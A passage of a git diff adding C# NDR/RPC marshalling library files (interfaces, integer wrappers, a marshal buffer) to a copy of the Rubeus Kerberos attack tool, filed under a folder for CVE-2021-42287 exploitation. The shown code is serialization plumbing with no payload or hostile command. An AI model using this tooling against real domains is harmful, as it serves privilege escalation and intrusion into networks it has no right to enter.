/// This interface is primarily for internal use only. + public interface INdrNonEncapsulatedUnion : INdrStructure + { + /// + /// Marshal the union to a stream. + /// + /// The selector for union arm. + /// The marshal stream. + void Marshal(NdrMarshalBuffer marshal, long selector); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrStructure.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrStructure.cs new file mode 100644 index 0000000..3a55ca7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/INdrStructure.cs @@ -0,0 +1,39 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Interface for a marshalled NDR structure. + /// + /// This interface is primarily for internal use only. + public interface INdrStructure + { + /// + /// Marshal the stucture to a stream. + /// + /// The marshal stream. + void Marshal(NdrMarshalBuffer marshal); + /// + /// Unmarshal the structure from a stream. + /// + /// The unmarshal stream. + void Unmarshal(NdrUnmarshalBuffer unmarshal); + /// + /// Get the structure's alignment. + /// + /// + int GetAlignment(); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrContextHandle.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrContextHandle.cs new file mode 100644 index 0000000..499352f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrContextHandle.cs @@ -0,0 +1,54 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Structure to represent a context handle. + /// + public struct NdrContextHandle + { + /// + /// Context handle attributes. + /// + public int Attributes { get; } + + /// + /// Context handle UUID. + /// + public Guid Uuid { get; } + + /// + /// Constructor. + /// + /// Context handle attributes. + /// Context handle UUID. + public NdrContextHandle(int attributes, Guid uuid) + { + Attributes = attributes; + Uuid = uuid; + } + + /// + /// Overidden ToString method. + /// + /// The handle as string. + public override string ToString() + { + return $"Handle: {Uuid} - Attributes: {Attributes}"; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrDataRepresentation.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrDataRepresentation.cs new file mode 100644 index 0000000..c3ccfae --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrDataRepresentation.cs @@ -0,0 +1,66 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ +#pragma warning disable 1591 + /// + /// NDR integer representation. + /// + public enum NdrIntegerRepresentation + { + LittleEndian, + BigEndian + } + + /// + /// NDR character representation. + /// + public enum NdrCharacterRepresentation + { + ASCII, + EBCDIC + } + + /// + /// NDR floating point representation. + /// + public enum NdrFloatingPointRepresentation + { + IEEE, + VAX, + Cray, + IBM + } + + /// + /// Definition of the NDR data representation for an NDR stream. + /// + public struct NdrDataRepresentation + { + /// + /// The integer representation of the NDR data. + /// + public NdrIntegerRepresentation IntegerRepresentation { get; set; } + /// + /// The character representation of the NDR data. + /// + public NdrCharacterRepresentation CharacterRepresentation { get; set; } + /// + /// The floating representation of the NDR data. + /// + public NdrFloatingPointRepresentation FloatingPointRepresentation { get; set; } + } +#pragma warning restore 1591 +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrDeferralStack.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrDeferralStack.cs new file mode 100644 index 0000000..872284f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrDeferralStack.cs @@ -0,0 +1,90 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.Collections.Generic; + +namespace Rubeus.Ndr.Marshal +{ + internal sealed class NdrDeferralStackEntry : IDisposable + { + private readonly Stack> _stack; + private readonly List _list; + + void IDisposable.Dispose() + { + if (_stack == null) + { + return; + } + + var list = _stack.Pop(); + System.Diagnostics.Debug.Assert(list == _list); + System.Diagnostics.Debug.WriteLine($"Flushing {list.Count} queued entries"); + + foreach (var a in list) + { + a(); + } + } + + public NdrDeferralStackEntry(Stack> stack) + { + _stack = stack; + _list = stack?.Peek(); + } + } + + internal class NdrDeferralStack + { + private readonly Stack> _stack; + + public NdrDeferralStack() + { + _stack = new Stack>(); + } + + private NdrDeferralStackEntry Push(bool allocate) + { + if (allocate) + { + System.Diagnostics.Debug.WriteLine($"Pushing new queue entry Empty: {Empty}"); + _stack.Push(new List()); + return new NdrDeferralStackEntry(_stack); + } + return null; + } + + public NdrDeferralStackEntry Push() + { + return Push(Empty); + } + + public void Add(Action a) + { + Action deferral = () => + { + using (var queue = Push(true)) + { + a(); + } + }; + System.Diagnostics.Debug.Assert(!Empty); + System.Diagnostics.Debug.WriteLine("Adding deferred entry"); + _stack.Peek().Add(deferral); + } + + public bool Empty => _stack.Count == 0; + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEmbeddedPointer.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEmbeddedPointer.cs new file mode 100644 index 0000000..dbb88e9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEmbeddedPointer.cs @@ -0,0 +1,90 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// A class which represents an embedded pointer. + /// + /// The underlying type. + public class NdrEmbeddedPointer + { + private T _value; + + private NdrEmbeddedPointer(T value) + { + _value = value; + } + + /// + /// Operator to convert from a value to an embedded pointer. + /// + /// The value to point to. + public static implicit operator NdrEmbeddedPointer(T value) + { + return new NdrEmbeddedPointer(value); + } + + /// + /// Operator to convert from an embedded pointer to a value. + /// + /// The embedded pointer. + public static implicit operator T (NdrEmbeddedPointer pointer) + { + if (pointer == null) + { + return default; + } + return pointer._value; + } + + /// + /// Overridden ToString method. + /// + /// The string form of the value. + public override string ToString() + { + return _value.ToString(); + } + + /// + /// Get the value from the embedded pointer. + /// + /// The value of the pointer. + public T GetValue() + { + return _value; + } + + internal static Tuple, Action> CreateDeferredReader(Func unmarshal_func) + { + NdrEmbeddedPointer ret = new NdrEmbeddedPointer(default); + return Tuple.Create(ret, new Action(() => ret._value = unmarshal_func())); + } + + internal static Tuple, Action> CreateDeferredReader(Func unmarshal_func, U arg) + { + NdrEmbeddedPointer ret = new NdrEmbeddedPointer(default); + return Tuple.Create(ret, new Action(() => ret._value = unmarshal_func(arg))); + } + + internal static Tuple, Action> CreateDeferredReader(Func unmarshal_func, U arg, V arg2) + { + NdrEmbeddedPointer ret = new NdrEmbeddedPointer(default); + return Tuple.Create(ret, new Action(() => ret._value = unmarshal_func(arg, arg2))); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEmpty.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEmpty.cs new file mode 100644 index 0000000..7fe8a6c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEmpty.cs @@ -0,0 +1,23 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Structure to represent an empty value. + /// + public struct NdrEmpty + { + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEnum16.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEnum16.cs new file mode 100644 index 0000000..4380570 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrEnum16.cs @@ -0,0 +1,191 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Class to represent a 16 bit enumerated type. + /// + public struct NdrEnum16 : IFormattable, IEquatable + { + /// + /// Value of the structure. + /// + public readonly int Value; + + /// + /// Constructor. + /// + /// + public NdrEnum16(int value) + { + Value = value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static implicit operator NdrEnum16(int value) + { + return new NdrEnum16(value); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static implicit operator int(NdrEnum16 value) + { + return value.Value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator NdrEnum16(uint value) + { + return new NdrEnum16((int)value); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator long(NdrEnum16 value) + { + return value.Value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator NdrEnum16(long value) + { + return new NdrEnum16((int)value); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator NdrEnum16(Enum value) + { + Type enum_type = value.GetType().GetEnumUnderlyingType(); + if (enum_type == typeof(uint)) + { + return (NdrEnum16)Convert.ToUInt32(value); + } + return new NdrEnum16(Convert.ToInt32(value)); + } + + /// + /// Constructor. + /// + /// The value to construct from. + public static explicit operator uint(NdrEnum16 value) + { + return (uint)value.Value; + } + + /// + /// Equality operator. + /// + /// The left value. + /// The right value. + /// True if the values are equal. + public static bool operator ==(NdrEnum16 left, NdrEnum16 right) + { + return left.Equals(right); + } + + /// + /// Inequality operator. + /// + /// The left value. + /// The right value. + /// True if the values are not-equal. + public static bool operator !=(NdrEnum16 left, NdrEnum16 right) + { + return !left.Equals(right); + } + + /// + /// Overridden ToString. + /// + /// The value as a string. + public override string ToString() + { + return Value.ToString(); + } + + /// + /// ToString method. + /// + /// The formatting string. + /// The value as a string. + public string ToString(string format) + { + return Value.ToString(format); + } + + /// + /// IFormattable ToString. + /// + /// The formatting string. + /// Formatting provider. + /// The value as a string. + public string ToString(string format, IFormatProvider formatProvider) + { + return Value.ToString(format, formatProvider); + } + + /// + /// Equals operator. + /// + /// The other enum16. + /// True if the values are equal. + public bool Equals(NdrEnum16 other) + { + return Value == other.Value; + } + + /// + /// Compare + /// + /// + /// + public override bool Equals(object obj) + { + if (obj is NdrEnum16 e) + { + return Equals(e); + } + return false; + } + + /// + /// Overridden GetHashCode. + /// + /// The hash code of the enumeration. + public override int GetHashCode() + { + return Value.GetHashCode(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrInt3264.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrInt3264.cs new file mode 100644 index 0000000..33e4124 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrInt3264.cs @@ -0,0 +1,167 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Structure which represents an NDR FC_INT3264 + /// + public struct NdrInt3264 : IFormattable + { + /// + /// Value of the structure. + /// + public readonly int Value; + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrInt3264(int value) + { + Value = value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrInt3264(IntPtr value) + { + Value = (int)value.ToInt64(); + } + + /// + /// Convert to a native IntPtr. + /// + /// The value to convert from. + public static implicit operator IntPtr(NdrInt3264 i) + { + return new IntPtr(i.Value); + } + + /// + /// Overridden ToString. + /// + /// The value as a string. + public override string ToString() + { + return Value.ToString(); + } + + /// + /// ToString method. + /// + /// The formatting string. + /// The value as a string. + public string ToString(string format) + { + return Value.ToString(format); + } + + /// + /// IFormattable ToString. + /// + /// The formatting string. + /// Formatting provider. + /// The value as a string. + public string ToString(string format, IFormatProvider formatProvider) + { + return Value.ToString(format, formatProvider); + } + } + + /// + /// Structure which represents an NDR FC_UINT3264 + /// + public struct NdrUInt3264 : IFormattable + { + /// + /// Value of the structure. + /// + public readonly uint Value; + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrUInt3264(uint value) + { + Value = value; + } + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrUInt3264(int value) + : this((uint)value) + { + } + + /// + /// Constructor. + /// + /// The value to construct from. + public NdrUInt3264(IntPtr value) + { + Value = (uint)(value.ToInt64() & uint.MaxValue); + } + + /// + /// Convert to a native IntPtr. + /// + /// The value to convert from. + public static implicit operator IntPtr(NdrUInt3264 i) + { + if (IntPtr.Size == 8) + { + return new IntPtr(i.Value); + } + return new IntPtr((int)i.Value); + } + + /// + /// Overridden ToString. + /// + /// The value as a string. + public override string ToString() + { + return Value.ToString(); + } + + /// + /// ToString method. + /// + /// The formatting string. + /// The value as a string. + public string ToString(string format) + { + return Value.ToString(format); + } + + /// + /// IFormattable ToString. + /// + /// The formatting string. + /// Formatting provider. + /// The value as a string. + public string ToString(string format, IFormatProvider formatProvider) + { + return Value.ToString(format, formatProvider); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrInterfacePointer.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrInterfacePointer.cs new file mode 100644 index 0000000..a782274 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrInterfacePointer.cs @@ -0,0 +1,61 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Win32.Rpc; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Class to represent an NDR interface pointer. + /// + public struct NdrInterfacePointer : INdrConformantStructure + { + /// + /// The marshaled interface data. + /// + public byte[] Data { get; set; } + + /// + /// Constructor. + /// + /// The marshaled interface data. + public NdrInterfacePointer(byte[] data) + { + Data = data; + } + + int INdrConformantStructure.GetConformantDimensions() + { + return 1; + } + + void INdrStructure.Marshal(NdrMarshalBuffer marshal) + { + RpcUtils.CheckNull(Data, "Data"); + marshal.WriteInt32(Data.Length); + marshal.WriteConformantByteArray(Data, Data.Length); + } + + void INdrStructure.Unmarshal(NdrUnmarshalBuffer unmarshal) + { + unmarshal.ReadInt32(); // length. + Data = unmarshal.ReadConformantByteArray(); + } + + int INdrStructure.GetAlignment() + { + return 4; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrMarshalBuffer.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrMarshalBuffer.cs new file mode 100644 index 0000000..4c57b9c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/Marshal/NdrMarshalBuffer.cs @@ -0,0 +1,1062 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Utilities.Text; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Rubeus.Ndr.Marshal +{ +#pragma warning disable 1591 + /// + /// A buffer to marshal NDR data to. + /// + /// This class is primarily for internal use only. + public class NdrMarshalBuffer + { + #region Private Members + private readonly MemoryStream _stm; + private readonly BinaryWriter _writer; + private NdrDeferralStack _deferred_writes; + private int _referent; + private long? _conformance_position; + + private bool WriteReferent(T obj) where T : class + { + if (obj == null) + { + WriteInt32(0); + return false; + } + else + { + WriteInt32(_referent); + _referent += 4; + return true; + } + } + + private bool WriteReferent(T? obj) where T : struct + { + if (!obj.HasValue) + { + WriteInt32(0); + return false; + } + else + { + WriteInt32(_referent); + _referent += 4; + return true; + } + } + + private void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer) + { + if (WriteReferent(pointer)) + { + _deferred_writes.Add(writer); + } + } + + private void WriteStringArray(string[] array, Action writer, int count) + { + if (array == null) + { + array = new string[0]; + } + + for (int i = 0; i < count; ++i) + { + string value = i < array.Length ? array[i] : string.Empty; + WriteReferent(value); + _deferred_writes.Add(() => writer(value)); + } + } + + private void WriteConformance(params int[] conformance) + { + if (_conformance_position.HasValue) + { + long current_position = _stm.Position; + _stm.Position = _conformance_position.Value; + byte[] data = new byte[conformance.Length * 4]; + Buffer.BlockCopy(conformance, 0, data, 0, data.Length); + _stm.Write(data, 0, data.Length); + _stm.Position = current_position; + _conformance_position = null; + } + else + { + foreach (var i in conformance) + { + WriteInt32(i); + } + } + } + + private bool SetupConformance(int dimensions) + { + if (dimensions == 0 || _conformance_position.HasValue) + { + return false; + } + + for (int i = 0; i < dimensions; ++i) + { + WriteInt32(0x77777777); + } + + _conformance_position = _stm.Position - (dimensions * 4); + + return true; + } + + private void WriteStructInternal(INdrStructure structure) + { + Align(structure.GetAlignment()); + structure.Marshal(this); + } + + private void WriteUnionInternal(INdrNonEncapsulatedUnion union, long selector) + { + Align(union.GetAlignment()); + union.Marshal(this, selector); + } + + private void Align(int alignment) + { + byte[] buffer = new byte[NdrNativeUtils.CalculateAlignment((int)_stm.Length, alignment)]; + _stm.Write(buffer, 0, buffer.Length); + } + + #endregion + + #region Constructors + public NdrMarshalBuffer() : this(new NdrDataRepresentation() + { + CharacterRepresentation = NdrCharacterRepresentation.ASCII, + FloatingPointRepresentation = NdrFloatingPointRepresentation.IEEE, + IntegerRepresentation = NdrIntegerRepresentation.LittleEndian + }) + { + } + + public NdrMarshalBuffer(NdrDataRepresentation data_representation) + { + _stm = new MemoryStream(); + _writer = new BinaryWriter(_stm, Encoding.Unicode); + _referent = 0x20000; + _deferred_writes = new NdrDeferralStack(); + NdrUnmarshalBuffer.CheckDataRepresentation(data_representation); + DataRepresentation = data_representation; + } + + #endregion + + #region Misc Methods + + public void WriteUnsupported(NdrUnsupported type, string name) + { + throw new NotImplementedException($"Writing type {name} is unsupported"); + } + + public void WriteEmpty(NdrEmpty empty) + { + // Do nothing. + } + + public void WriteInterfacePointer(NdrInterfacePointer intf) + { + WriteStruct(intf); + } + + public void WritePipe(NdrPipe pipe) where T : struct + { + throw new NotImplementedException("Pipe support is not implemented"); + } + + public byte[] ToArray() + { + byte[] ret = _stm.ToArray(); + int alignment = NdrNativeUtils.CalculateAlignment(ret.Length, 8); + if (alignment > 0) + { + Array.Resize(ref ret, ret.Length + alignment); + } + + return ret; + } + + public NdrPickledType ToPickledType() + { + return new NdrPickledType(ToArray(), DataRepresentation); + } + + #endregion + + #region Primitive Types + public void WriteByte(byte b) + { + _writer.Write(b); + } + + public void WriteByte(byte? b) + { + if (b.HasValue) + { + WriteByte(b.Value); + } + } + + public void WriteSByte(sbyte b) + { + _writer.Write(b); + } + + public void WriteSByte(sbyte? b) + { + if (b.HasValue) + { + WriteSByte(b.Value); + } + } + + public void WriteInt16(short s) + { + Align(2); + _writer.Write(s); + } + + public void WriteInt16(short? s) + { + if (s.HasValue) + { + WriteInt16(s.Value); + } + } + + public void WriteUInt16(ushort s) + { + Align(2); + _writer.Write(s); + } + + public void WriteUInt16(ushort? s) + { + if (s.HasValue) + { + WriteUInt16(s.Value); + } + } + + public void WriteInt32(int i) + { + Align(4); + _writer.Write(i); + } + + public void WriteInt32(int? i) + { + if (i.HasValue) + { + WriteInt32(i.Value); + } + } + + public void WriteUInt32(uint i) + { + Align(4); + _writer.Write(i); + } + + public void WriteUInt32(uint? i) + { + if (i.HasValue) + { + WriteUInt32(i.Value); + } + } + + public void WriteInt64(long l) + { + Align(8); + _writer.Write(l); + } + + public void WriteInt64(long? l) + { + if (l.HasValue) + { + WriteInt64(l.Value); + } + } + + public void WriteUInt64(ulong l) + { + Align(8); + _writer.Write(l); + } + + public void WriteUInt64(ulong? l) + { + if (l.HasValue) + { + WriteUInt64(l.Value); + } + } + + public void WriteFloat(float f) + { + Align(4); + _writer.Write(f); + } + + public void WriteFloat(float? f) + { + if (f.HasValue) + { + WriteFloat(f.Value); + } + } + + public void WriteDouble(double d) + { + Align(8); + _writer.Write(d); + } + + public void WriteDouble(double? d) + { + if (d.HasValue) + { + WriteDouble(d.Value); + } + } + + public void WriteChar(char c) + { + Align(2); + _writer.Write(c); + } + + public void WriteChar(char? c) + { + if (c.HasValue) + { + WriteChar(c.Value); + } + } + + public void WriteInt3264(NdrInt3264 p) + { + WriteInt32(p.Value); + } + + public void WriteInt3264(NdrInt3264? p) + { + if (p.HasValue) + { + WriteInt3264(p.Value); + } + } + + public void WriteUInt3264(NdrUInt3264 p) + { + WriteUInt32(p.Value); + } + + public void WriteUInt3264(NdrUInt3264? p) + { + if (p.HasValue) + { + WriteUInt3264(p.Value); + } + } + + public void WriteEnum16(NdrEnum16 e) + { + WriteInt16((short)e.Value); + } + + public void WriteEnum16(NdrEnum16? p) + { + if (p.HasValue) + { + WriteEnum16(p.Value); + } + } + + #endregion + + #region String Types + + public void WriteTerminatedString(string str) + { + WriteConformantVaryingString(str, -1); + } + + public void WriteTerminatedAnsiString(string str) + { + WriteConformantVaryingAnsiString(str, -1); + } + + public void WriteConformantVaryingString(string str, long conformance) + { + if (str == null) + { + return; + } + + char[] values = (str + '\0').ToCharArray(); + if (conformance < 0) + { + conformance = values.Length; + } + + // Maximum count. + WriteConformance((int)conformance); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteChars(values); + } + + public void WriteConformantVaryingAnsiString(string str, long conformance) + { + if (str == null) + { + return; + } + + byte[] values = BinaryEncoding.Instance.GetBytes(str + '\0'); + if (conformance < 0) + { + conformance = values.Length; + } + + // Maximum count. + WriteConformance((int)conformance); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteBytes(values); + } + + public void WriteFixedString(string str, int fixed_count) + { + WriteFixedChars(str.ToCharArray(), fixed_count); + } + + public void WriteFixedAnsiString(string str, int fixed_count) + { + WriteFixedByteArray(BinaryEncoding.Instance.GetBytes(str), fixed_count); + } + + public void WriteVaryingString(string str) + { + if (str == null) + { + return; + } + + char[] values = (str + '\0').ToCharArray(); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteChars(values); + } + + public void WriteVaryingAnsiString(string str) + { + if (str == null) + { + return; + } + + byte[] values = BinaryEncoding.Instance.GetBytes(str + '\0'); + // Offset. + WriteInt32(0); + // Actual count. + WriteInt32(values.Length); + WriteBytes(values); + } + + #endregion + + #region Structure Types + + public void WriteGuid(Guid guid) + { + Align(4); + WriteBytes(guid.ToByteArray()); + } + + public void WriteGuid(Guid? guid) + { + if (guid.HasValue) + { + WriteGuid(guid.Value); + } + } + + public void WriteStruct(T? structure) where T : struct, INdrStructure + { + if (structure.HasValue) + { + WriteStruct(structure.Value); + } + } + + public void WriteStruct(T structure) where T : struct, INdrStructure + { + WriteStruct((INdrStructure)structure); + } + + public void WriteStruct(INdrStructure structure) + { + bool conformant = false; + if (structure is INdrConformantStructure conformant_structure) + { + conformant = SetupConformance(conformant_structure.GetConformantDimensions()); + System.Diagnostics.Debug.Assert(_conformance_position.HasValue); + } + + using (var queue = _deferred_writes.Push()) + { + WriteStructInternal(structure); + } + + if (conformant) + { + System.Diagnostics.Debug.Assert(!_conformance_position.HasValue); + } + } + + public void WriteUnion(T? union, long selector) where T : struct, INdrNonEncapsulatedUnion + { + if (union.HasValue) + { + WriteUnion((INdrNonEncapsulatedUnion)union.Value, selector); + } + } + + public void WriteUnion(T union, long selector) where T : struct, INdrNonEncapsulatedUnion + { + WriteUnion((INdrNonEncapsulatedUnion)union, selector); + } + + public void WriteUnion(INdrNonEncapsulatedUnion union, long selector) + { + WriteUnionInternal(union, selector); + } + + public void WriteContextHandle(NdrContextHandle handle) + { + WriteInt32(handle.Attributes); + WriteGuid(handle.Uuid); + } + + #endregion + + #region Pointer Types + public void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer) + { + WriteEmbeddedPointer(pointer, () => writer(pointer)); + } + + public void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer, U arg) + { + WriteEmbeddedPointer(pointer, () => writer(pointer, arg)); + } + + public void WriteEmbeddedPointer(NdrEmbeddedPointer pointer, Action writer, U arg, V arg2) + { + WriteEmbeddedPointer(pointer, () => writer(pointer, arg, arg2)); + } + + public void WriteReferent(T obj, Action writer) where T : class + { + if (WriteReferent(obj)) + { + writer(obj); + } + } + + public void WriteReferent(T obj, Action writer, U arg) where T : class + { + if (WriteReferent(obj)) + { + writer(obj, arg); + } + } + + public void WriteReferent(T obj, Action writer, U arg, V arg2) where T : class + { + if (WriteReferent(obj)) + { + writer(obj, arg, arg2); + } + } + + public void WriteReferent(T? obj, Action writer) where T : struct + { + if (WriteReferent(obj)) + { + writer(obj.Value); + } + } + + public void WriteReferent(T? obj, Action writer, U arg) where T : struct + { + if (WriteReferent(obj)) + { + writer(obj.Value, arg); + } + } + + public void WriteReferent(T? obj, Action writer, U arg, V arg2) where T : struct + { + if (WriteReferent(obj)) + { + writer(obj.Value, arg, arg2); + } + } + + #endregion + + #region Fixed Array Types + public void WriteBytes(byte[] array) + { + _writer.Write(array); + } + + public void WriteChars(char[] chars) + { + Align(2); + _writer.Write(chars); + } + + public void WriteFixedByteArray(byte[] array, int actual_count) + { + if (array.Length != actual_count) + { + array = (byte[])array.Clone(); + Array.Resize(ref array, actual_count); + } + _writer.Write(array); + } + + public void WriteFixedChars(char[] chars, int fixed_count) + { + Align(2); + if (chars.Length != fixed_count) + { + chars = 